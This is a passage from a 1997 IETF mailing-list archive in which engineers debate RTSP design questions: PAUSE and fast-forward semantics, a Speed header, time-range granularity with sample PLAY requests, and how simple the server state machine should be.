know what the data transfer rate will be). Comments welcome.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Thu Mar  6 10:30:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23316>; Thu, 6 Mar 1997 12:30:24 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23310>; Thu, 6 Mar 1997 12:30:21 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05102>; Thu, 6 Mar 1997 12:30:20 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id PAA28231; Thu, 6 Mar 1997 15:30:15 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id PAA10518; Thu, 6 Mar 1997 15:30:10 -0500 (EST)
Message-Id: <331F2952.5D74@cs.columbia.edu>
Date: Thu, 06 Mar 1997 15:30:10 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>, confctrl@isi.edu
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306185440Z-1448@INET-03-IMC.itg.microsoft.com> <331F2490.66EC@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Would it make sense to have a two-parameter Speed header: the network
speedup and the logical (time-line) speedup? That way, we cover both
cases and the server can decide what it can/wants to do. I may well have
"I want twice the video frame rate, but don't care if you send me twice
the data rate or if you drop half the frames". Something like Speed:
2/*. Or Speed: 2/2.

From majordom@ISI.EDU  Thu Mar  6 10:42:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23696>; Thu, 6 Mar 1997 12:42:53 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23686>; Thu, 6 Mar 1997 12:42:51 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05804>; Thu, 6 Mar 1997 12:42:50 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id PAA28528; Thu, 6 Mar 1997 15:42:49 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id PAA10528; Thu, 6 Mar 1997 15:42:48 -0500 (EST)
Message-Id: <331F2C48.7AFF@cs.columbia.edu>
Date: Thu, 06 Mar 1997 15:42:48 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@isi.edu
Subject: Re: RTSP: relative time
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306174650Z-956@INET-04-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:

> As I previously stated, we have deep problems with a timeline with a
> granularity as coarse as one second. While our 100ns timeline is probably
> overkill, the timeline really must be finer than human senses can discern
> if the multimedia events are to be orchestrated appropriately to achieve
> the desired effects. Thus, I would like to request that we please adopt a
> system with a microsecond or millisecond time granularity. From an
> engineering perspective, a too-granular timeline is not of great concern,
> an inadequately granular timeline is of tremendous concern. When in doubt,
> aim for a greater degree of granularity in the timeline definitions. This
> will permit systems lacking that granularity to "fudge" but will support
> the accuracy needed by systems requiring those granularities.

Actually, the current SMPTE timestamp defined in RTSP has a resolution
of one frame. The problem, however, with SMPTE is that the notion of a
"frame" is not particularly well defined if you are not running NTSC or
PAL. Thus, my hunch would be to define a relative time according to
DSM-CC NPT, that is, with second and fractions or seconds and
microseconds (a la NPT). Something like

Range: npt=8383.1005
or
Range: npt=8383:995509

The clock time specification always had a resolution below a second.

Maintaining SMPTE as an option makes sense, IMO, since it corresponds
nicely with standard professional equipment and you don't have to worry
about the 29.97 Hz issue.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Mar  6 05:27:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25411>; Thu, 6 Mar 1997 13:27:56 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25384>; Thu, 6 Mar 1997 13:27:51 -0800
Received: from INET-01-IMC.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08851>; Thu, 6 Mar 1997 13:27:50 -0800
Received: by mail1.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <GMT8ZY87>; Thu, 6 Mar 1997 13:27:44 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802BBD7AE@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Anup Rao' <anup@netscape.com>
Cc: 'Sampo Syreeni' <decoy@edu.lahti.fi>, 'Jeff Smith'
	 <sumisu@nttlabs.com>,
        'Henning Schulzrinne'
	 <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Pause, Fast-Forward, Fast-rewind in RTSP
Date: Thu, 6 Mar 1997 13:27:37 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup,

I wish to apologize to you and to this list. I am in the process of
"cleaning house" in preparation for a 9 day vacation. This conversation
which we are having is extremely interesting to me. I deeply regret that
I must shortly go "off line" and I want to be sure that you know that
this is entirely unintentional and is not reflective of the quality of
your much-appreciated comments. I also hope that you wouldn't be too
upset once I try to again rejoin you all on the 17th or 18th of March.

Had I not been in my current hurried state, I would have proposed that
we form a conference call among interested parties. It seems to me that
we need to spend a bit more time building "foundations" and the purpose
of that conference call would be to establish some tentative
foundational "straw men".

Specifically, I would like us to agree on a common set of terms in line
with the thread originally started by Intel. This will help us correctly
interpret the words which are being written/said.

Once that is done I would like to see us "open our respective kimonos"
about how we envision a RTSP session to progress. Our goal here is
two-fold: RTSP needs to be adequately general to support real-life
variability and a broad range of requirements but adequately specific so
that interoperability may be attained. 

These various RTSP session scenarios would suggest a state machine. I am
a firm believer that the defining of such a state machine is an
essential exercise since the whole spec hangs upon its foundation. This
would be particularly helpful for the current spec since it has many
methods in section 9 which I do not envision ever using and I am
confused about what parameters are available for any given method (i.e.,
what do "?" and "o" mean in Tables 4 and 5 of section 11?) and how those
parameters are to be used. I also note the obvious disagreement (as
evidenced by the embedded comments) between the authors and fear that
this may have produced hidden inconsistencies or situations where two
people interpret the same text in contradictory ways without knowing it.
I also have the significant fear that I have misunderstood some very
fundamental intentions of the spec.

However, if I were to "open my kimono" as to how I view an RTSP
"on-demand" session as progressing (i.e., a "live" session would behave
differently) I would say the following:
1.	User finds out about the session through some out-of-scope
vehicle and issues a GET command to retrieve all of the necessary
session information. The GET command would return a so-called "header
value" (i.e., the header field of the multimedia file (e.g., AVI,
QuickTime, RMFF, ASF, etc.) which has stored the multimedia experience.
This so-called "header value" contains all of the information necessary
to interpret the data fields within that file including the codec
information, the various encoding strategies, information about what
security and error correction has been used, "marker" information for
"indexing", etc.) and associates a dynamic RTP payload type for RTP data
for that session (or indicates what other data comm approach will be
used including streaming the data over UDP, TCP, or HTTP). Note that
this tells the client everything they need to know to be able to control
the session.
2.	The client then says "Play" with an offset into the timeline and
the playing begins (this includes the possibility of doing a
fast-forward (i.e., using the speed parameter for play) or jumping
directly to a synch-point indicated by a marker and start playing from
there).
3.	At some point the client can say "pause" and the playing will
stop.
4.	The client can then say Play with an offset to resume playing
(or fast-forward, fast-reverse, or jump directly to a synch-point
indicated by a marker and start playing from there (again Play with an
offset)). 
5.	At any point the client can say "Close" (or "BYE" - I don't know
why we need two methods to say what appears to me to be the same thing)
and the session is ended. 

This alternative suggests a state machine with the following states:
1.	Data is being streamed
2.	Data is not being streamed
This approach does not permit a session to exist which has not been
fully specified to both the client and the server - incomplete session
definitions are entirely verboten. The approach does not distinguish the
rate at which the timeline is being presented to the client. It does not
need to do so because the client is providing the intelligence to drive
the experience within the constraints established by the content
creator. This is particularly important when we stream 3D modeling data
(e.g., VRML) as media types within the experience since that media type
would introduce intolerable numbers of additional new states for a
"server-state"-driven approach such as what Anup seems to be suggesting.
This simple state machine is all that is needed to ensure that the
client and server are "in synch" with what the user is telling them to
do.

This view reflects my firm belief that "simpler is better". Please let
me know if you see any "holes" with these claims.

	-----Original Message-----
	From:	Anup Rao [SMTP:anup@netscape.com]
	Sent:	Thursday, March 06, 1997 12:10 PM
	To:	Eric Fleischman
	Cc:	'Sampo Syreeni'; 'Jeff Smith'; 'Henning Schulzrinne';
'confctrl@isi.edu'
	Subject:	Re: Pause, Fast-Forward, Fast-rewind in RTSP

	Eric Fleischman wrote:
	> 
	> Anup Rao wrote:
	> >I do not understand how the PAUSE message has an effect on
scalability.
	> >Indeed, it is not necessary from a user point-of-view. There
seem to be
	> >two issues here:-
	> >a) maintenance of current position at the server
	> >b) maintenance of "SETUP" information ie. transport ports
etc.
	> >Note that we do not have the notion of "STOP", rather a
"CLOSE" which
	> >results in release of resources.
	> >Are you arguing against a) or b) or both ?
	> 
	> I am not actually intending to argue against either a or b
since I view
	> both as being necessary.
	> 

	Option1 : No PAUSE message.
	In this case the setup information would have be included in the
	PLAY.(because, if you "CLOSE", you have to setup the information
again
	i.e send SETUP.) For each PLAY, the server would need to check
if the
	transport was set earlier or changed. Also, (as agreed above),
we have
	chosen that it(the server) maintains current position. This
gives us
	binary state ie. either sending or not sending. Also, lets
assume the
	PLAY message always contains the Range. Proxies/firewalls need
to read
	both PLAY and SETUP messages.

	Option2 : There are 3 states: ready, sending, not sending. There
is a
	PAUSE message. On receipt of a SETUP message, the server follows
orders
	and does not check if transport is set earlier or not. On a PLAY
	message, it is honored only if transport is set(ie. in state
ready).
	Proxies/firewalls need to read the SETUP message. 

	I am a great supporter of the dumb server:-) idea. Forgive my
	persistence, but I do not understand how Option1 would result in
a
	dumber server than Option2. Note that I am not arguing too
strongly in
	favor of either, but I think Option2 is cleaner and has a
precise
	indication of allocation and release of  resources. It seems to
me that
	the alternative have roughly the same complexit, whether we
create a
	state or not. (On thing that needs clarification though ie. at
minimum
	transport should be set before sending PLAY).

	> Rather, I am working from a different algorithm altogether, as
I explained
	> in my original posting. My algorithm is to explicitly minimize
the work a
	> server has to perform so that the server can better perform
its task of
	> actually streaming data. The more complexity we put into the
server, the
	> move overhead the server must give to manage that complexity
and the less
	> time it has for its primary task of streaming data (unless, of
course, you
	> have a multiprocessing system with an "extra" CPU to offload
such overhead
	> to).
	> 
	> This means that the server needs to be more focussed (dumber,
if you
	> prefer). The client maintains the state, the server responds
to the
	> client's commands. The commands thus need parameters to "clue
in" the
	> server as to what the client exactly intends since it is the
human end user
	> (i.e., the client) which controls what happens within the
constraints
	> originally designed into the experience by the content
creator.

	> >There are two ways that the concepts of FF and FRewind may be
thought of
	> :
	> 
	> >a) Simply deliver the data as-is, but faster than its natural
rate
	> >based on the speed parameter. As Henning mentioned, this is
specified.
	> >Admittedly, this is useful only if bandwidth permits and
should be used
	> >with care, but it should not be entirely ruled out.
	> 
	> I have real problems with this alternative. I believe that
streaming data
	> must maintain a constant data rate. That rate must not
fluctuate up and
	> down. Take, for example, the possibility of the data being
streamed into a
	> H.323 conference which happens to also be "broadcasted" over
the MBONE
	> through the use of H.LooselyCoupled. SDR will tell the address
and port of
	> the MBONE broadcast and should indicate the bandwidth needed
to support it.
	> Network Managers would have "reserved" (so to speak) that
bandwidth to
	> permit individuals within their corporation to receive the
session, perhaps
	> by filtering out other less desirable bandwidth-consuming
alternatives so
	> that other work can also proceed. However, should the data
rate of the
	> streamed content fluctuate all over the map, the net result
will be a total
	> breakdown of the system. As a former corporate data
communications
	> architect, I can well imagine what the future policy for those
types of
	> sessions will be within that (receiving) corporation.
	> 
	As I said earlier, it should be used carefully when appropriate.
One may
	configure to not choose other high-bandwidth alternatives, and
similarly
	also not allow this alternative. I am not saying that we should
have
	this ability so that everyone can wreak havoc. Also, it is a
resource
	issue - the server may not be able to do it - and it should just
refuse.
	All I am saying is that it is useful in *some* cases eg. remote
	editing/previewing of streams where the video-type fastforward
based on
	subsampling is not possible. For example a presentation
consisting of
	only images and text ticker, changing at 2 second
intervals(hence
	time-related), that the editor wants to remotely preview at
twice the
	rate. Clearly sending every other image is pointless here. 

	> Your (a)
	> alternative then has substantial needless complexity since you
compute what
	> "fast" means for each given session instance for channels
which are
	> session-specific. A much simpler algorithm is to do as we
suggest and to
	> maintain a constant data rate, accelerating only the timeline
when "fast"
	> is occurring.

	I'm afraid I dont understand this fully. (due to our terminology
again,
	I think). What the channel or URL means with respect to
different
	streams/substreams is upto the session description. Yes, if the
session
	description describes 2 streams, you have to calculate what fast
means
	for both of them. However, as I've said above, in general the
	alternative a)  is not the way to do things in a lot of the
cases,
	particulary video. For simplicity in these cases, a server may
just
	refuse.


	On a similar note :- What may be  of some concern(I just
thought), there
	is no indication in the protocol messages of the bandwidth that
the
	stream will occupy(other than the Accpet header that is not
	authoritative. )Rather, this is in the session description. This
may
	complicate implementation of an intermediary - it will
necessarily have
	to know the session description. (For eg., a packet filter may
want to
	know what the data transfer rate will be). Comments welcome.

	-- 

-----------------------------------------------------------------
	  Anup Rao                                                      
	  Netscape Communications Corp.                   
	  email : anup@netscape.com         Phone : (415) 937 3129


-----------------------------------------------------------------

From majordom@ISI.EDU  Thu Mar  6 05:37:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26027>; Thu, 6 Mar 1997 13:37:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26020>; Thu, 6 Mar 1997 13:37:14 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09534>; Thu, 6 Mar 1997 13:37:13 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id NAA16849 for <confctrl@ISI.EDU>; Thu, 6 Mar 1997 13:37:12 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA28602;
          Thu, 6 Mar 1997 13:37:10 -0800
Message-Id: <331F3933.171A@netscape.com>
Date: Thu, 06 Mar 1997 13:37:55 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: RTSP: relative time
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306174650Z-956@INET-04-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> The answer to your question is dependent upon your underlying model of
> streaming. Our product's model is entirely built upon the concept of a
> single "timeline". All media is orchestrated according to that timeline.
> This orchestration is manifested by the timestamps and (optional)
> interleaving strategies.
> 
> Thus, from our approach the answer would be "no": relative time is not
> desirable, all time references should be in terms of the underlying session
> timeline. I would also think that the specification of relative time would
> be tricky since what you are really wanting is an offset from a given
> event. Such an offset is most unambiguously expressed in terms of the
> timeline itself.

Eric,

I believe Hennings question was really related to  the units and
precision of the time. RTSP too embodies the notion of single
timeline(see mail regarding seperate timelines a la DSM-CC). All times
are  relative to the "beginning" of this single timeline. At this point,
we express this time as SMPTE timestamps. As you have stated before and 
below, and as Henning proposed it seems *highly* desirable and necessary
to have this time expressed in seconds, either with floating point
precision or some other format.

Does "TimeOffset=seconds:microseconds" in the Range header seem
appropriate ? I think it is granular enough and (can't help thinking
this way :-) it maps easily to struct timeval.

An example would be:

PLAY foo/bar RTSP/1.0
Range: TimeOffset=3:3452-5:8765


> 
> As I previously stated, we have deep problems with a timeline with a
> granularity as coarse as one second. While our 100ns timeline is probably
> overkill, the timeline really must be finer than human senses can discern
> if the multimedia events are to be orchestrated appropriately to achieve
> the desired effects. Thus, I would like to request that we please adopt a
> system with a microsecond or millisecond time granularity. From an
> engineering perspective, a too-granular timeline is not of great concern,
> an inadequately granular timeline is of tremendous concern. When in doubt,
> aim for a greater degree of granularity in the timeline definitions. This
> will permit systems lacking that granularity to "fudge" but will support
> the accuracy needed by systems requiring those granularities.
> 

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Thu Mar  6 05:16:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26723>; Thu, 6 Mar 1997 13:48:22 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26717>; Thu, 6 Mar 1997 13:48:21 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10204>; Thu, 6 Mar 1997 13:48:20 -0800
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id NAA06582; Thu, 6 Mar 1997 13:16:44 -0800
Date: Thu, 6 Mar 1997 13:16:44 -0800 (PST)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: another note about time granularity
In-Reply-To: <c=US%a=_%p=msft%l=RED-68-MSG-970306180244Z-1082@INET-04-IMC.microsoft.com>
Message-Id: <Pine.SOL.3.93.970306130234.10248F-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> These are reasons why a need exists for the RTSP clock to have a very fine 
> time granularity in the microsecond or millisecond range.

NTP timestamps do have that kind of granularity, and more.

However, to add a dose of reality --

Sound travels at about one foot per millisecond.  Thus a person sitting 2'
from a rendering computer will hear the sound 2 milliseconds after seeing
the video.  A person 10' away will hear the sound 10 milliseconds after
the video.  In an auditorium setting, the people in the back row may hear
the sound 75 to a 100 milliseconds later. 

Humans seem well adapted to sound-after-sight delays of dozens of
milliseconds.

And a typical TV or computer monitor can't render changes (and hence
synchronization) of portions of the image faster than 1/30th (33
milliseconds - TV) to 1/75 (13 milliseconds - pc monitor) of a second.

And even high performance film systems (IMAX) are on the same order of
magnitide.

These considerations tend to mitigate the need for sub-microsecond
inter-track synchronization (especially on computers with clocks that
drift by a couple of percent, with operating systems with 5 to 10
millisecond clock granularity, and with sound rendering hardware with
rather "interesting" delay characteristics.) 

		--karl--




From majordom@ISI.EDU  Thu Mar  6 05:56:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AB27147>; Thu, 6 Mar 1997 13:56:20 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27141>; Thu, 6 Mar 1997 13:56:18 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10665>; Thu, 6 Mar 1997 13:56:17 -0800
Received: by INET-04-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2A36.6E7408B0@INET-04-IMC.microsoft.com>; Thu, 6 Mar 1997 13:58:12 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306215613Z-2544@INET-04-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Anup Rao' <anup@netscape.com>
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: RTSP: relative time
Date: Thu, 6 Mar 1997 13:56:13 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 25 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Does "TimeOffset=seconds:microseconds" in the Range header seem
>appropriate ? I think it is granular enough and (can't help thinking
>this way :-) it maps easily to struct timeval.
>An example would be:
>PLAY foo/bar RTSP/1.0
>Range: TimeOffset=3:3452-5:8765

Does this example mean to play beginning at 3.3452 on the session timeline 
and going to 5.8765 on the session timeline? If so, then I believe that we 
are "in synch" and "in agreement" as to how to indicate time.

Naturally, I think that our state machine would be simpler if we would not 
support a range value but rather specify "play" at an offset and range and 
then let the user "pause" whenever (s)he feels like it.

A "tough call" for this WG to make is regarding how complex we are willing 
to make the state machine in order to support so many header field 
alternatives within a method. As you can tell, my own preference is to make 
the state machine be as simple as possible. I believe that this is not so 
much a matter of permitting server x to support something that server y can 
not but rather has to do with the very integrity of the underlying protocol 
itself. The more complex the state machine becomes, the greater the danger 
of getting into an undefined state. I view an "undefined state" as the true 
enemy of any protocol maker.


From majordom@ISI.EDU  Thu Mar  6 06:33:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29285>; Thu, 6 Mar 1997 14:32:22 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29278>; Thu, 6 Mar 1997 14:32:19 -0800
Received: from c3po.mcom.com (h-205-217-237-46.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12964>; Thu, 6 Mar 1997 14:32:15 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by c3po.mcom.com (8.7.5/8.7.3) with ESMTP id OAA02853 for <confctrl@ISI.EDU>; Thu, 6 Mar 1997 14:32:14 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA14534;
          Thu, 6 Mar 1997 14:32:12 -0800
Message-Id: <331F461D.652F@netscape.com>
Date: Thu, 06 Mar 1997 14:33:01 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: RTSP: relative time
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306215613Z-2544@INET-04-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> >Does "TimeOffset=seconds:microseconds" in the Range header seem
> >appropriate ? I think it is granular enough and (can't help thinking
> >this way :-) it maps easily to struct timeval.
> >An example would be:
> >PLAY foo/bar RTSP/1.0
> >Range: TimeOffset=3:3452-5:8765
> 
> Does this example mean to play beginning at 3.3452 on the session timeline
> and going to 5.8765 on the session timeline? If so, then I believe that we
> are "in synch" and "in agreement" as to how to indicate time.
> 

Yes. The session timeline is associated with the media itself or in
DSM-CC terms is the Normal Play Time(NPT). (i.e in FF mode, it would
increment faster)

Regards
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Sat Mar  8 01:44:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10584>; Thu, 6 Mar 1997 16:46:44 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10575>; Thu, 6 Mar 1997 16:46:40 -0800
Received: from beast.qbik.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20820>; Thu, 6 Mar 1997 16:46:17 -0800
Received: from bertha (192.168.0.4) by beast.qbik.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0000088697@beast.qbik.com>;
 Fri, 07 Mar 1997 13:47:52 +1300
Message-Id: <2.2.32.19970307014435.00f2887c@wingate>
X-Sender: adrien@wingate
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 07 Mar 1997 13:44:35 +1200
To: Anup Rao <anup@netscape.com>, Eric Fleischman <ericfl@MICROSOFT.com>
From: Adrien de Croy <adrien@qbik.com>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
Cc: "'Sampo Syreeni'" <decoy@edu.lahti.fi>,
        "'Jeff Smith'" <sumisu@nttlabs.com>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi all, sorry if I seem to be sticking my oar in. 

Couple of points - RAM is cheap, but bandwidth is not.  You can (pretty
much) always buy more RAM, but you don't always have access to more bandwidth.

I can't see why storing the current client position (for a session) at the
cost of a couple of bytes of RAM should be deprecated in favour of having to
re-establish socket resources, and retransmit what should really be
redundant data.

Here's my vote for a PAUSE command which pauses rather than stops.

Cheers

Adrien

At 12:09 6/03/97 -0800, Anup Rao wrote:
>Eric Fleischman wrote:
>> 
>> Anup Rao wrote:
>> >I do not understand how the PAUSE message has an effect on scalability.
>> >Indeed, it is not necessary from a user point-of-view. There seem to be
>> >two issues here:-
>> >a) maintenance of current position at the server
>> >b) maintenance of "SETUP" information ie. transport ports etc.
>> >Note that we do not have the notion of "STOP", rather a "CLOSE" which
>> >results in release of resources.
>> >Are you arguing against a) or b) or both ?
>> 
>> I am not actually intending to argue against either a or b since I view
>> both as being necessary.
>> 
>
>Option1 : No PAUSE message.
>In this case the setup information would have be included in the
>PLAY.(because, if you "CLOSE", you have to setup the information  again
>i.e send SETUP.) For each PLAY, the server would need to check if the
>transport was set earlier or changed. Also, (as agreed above), we have
>chosen that it(the server) maintains current position. This gives us
>binary state ie. either sending or not sending. Also, lets assume the
>PLAY message always contains the Range. Proxies/firewalls need to read
>both PLAY and SETUP messages.
>
>Option2 : There are 3 states: ready, sending, not sending. There is a
>PAUSE message. On receipt of a SETUP message, the server follows orders
>and does not check if transport is set earlier or not. On a PLAY
>message, it is honored only if transport is set(ie. in state ready).
>Proxies/firewalls need to read the SETUP message. 
>
>I am a great supporter of the dumb server:-) idea. Forgive my
>persistence, but I do not understand how Option1 would result in a
>dumber server than Option2. Note that I am not arguing too strongly in
>favor of either, but I think Option2 is cleaner and has a precise
>indication of allocation and release of  resources. It seems to me that
>the alternative have roughly the same complexit, whether we create a
>state or not. (On thing that needs clarification though ie. at minimum
>transport should be set before sending PLAY).
>
>> Rather, I am working from a different algorithm altogether, as I explained
>> in my original posting. My algorithm is to explicitly minimize the work a
>> server has to perform so that the server can better perform its task of
>> actually streaming data. The more complexity we put into the server, the
>> move overhead the server must give to manage that complexity and the less
>> time it has for its primary task of streaming data (unless, of course, you
>> have a multiprocessing system with an "extra" CPU to offload such overhead
>> to).
>> 
>> This means that the server needs to be more focussed (dumber, if you
>> prefer). The client maintains the state, the server responds to the
>> client's commands. The commands thus need parameters to "clue in" the
>> server as to what the client exactly intends since it is the human end user
>> (i.e., the client) which controls what happens within the constraints
>> originally designed into the experience by the content creator.
>> 
>
>
>> 
>> >There are two ways that the concepts of FF and FRewind may be thought of
>> :
>> 
>> >a) Simply deliver the data as-is, but faster than its natural  rate
>> >based on the speed parameter. As Henning mentioned, this is specified.
>> >Admittedly, this is useful only if bandwidth permits and should be used
>> >with care, but it should not be entirely ruled out.
>> 
>> I have real problems with this alternative. I believe that streaming data
>> must maintain a constant data rate. That rate must not fluctuate up and
>> down. Take, for example, the possibility of the data being streamed into a
>> H.323 conference which happens to also be "broadcasted" over the MBONE
>> through the use of H.LooselyCoupled. SDR will tell the address and port of
>> the MBONE broadcast and should indicate the bandwidth needed to support it.
>> Network Managers would have "reserved" (so to speak) that bandwidth to
>> permit individuals within their corporation to receive the session, perhaps
>> by filtering out other less desirable bandwidth-consuming alternatives so
>> that other work can also proceed. However, should the data rate of the
>> streamed content fluctuate all over the map, the net result will be a total
>> breakdown of the system. As a former corporate data communications
>> architect, I can well imagine what the future policy for those types of
>> sessions will be within that (receiving) corporation.
>> 
>As I said earlier, it should be used carefully when appropriate. One may
>configure to not choose other high-bandwidth alternatives, and similarly
>also not allow this alternative. I am not saying that we should have
>this ability so that everyone can wreak havoc. Also, it is a resource
>issue - the server may not be able to do it - and it should just refuse.
>All I am saying is that it is useful in *some* cases eg. remote
>editing/previewing of streams where the video-type fastforward based on
>subsampling is not possible. For example a presentation consisting of
>only images and text ticker, changing at 2 second intervals(hence
>time-related), that the editor wants to remotely preview at twice the
>rate. Clearly sending every other image is pointless here. 
>
>> Your (a)
>> alternative then has substantial needless complexity since you compute what
>> "fast" means for each given session instance for channels which are
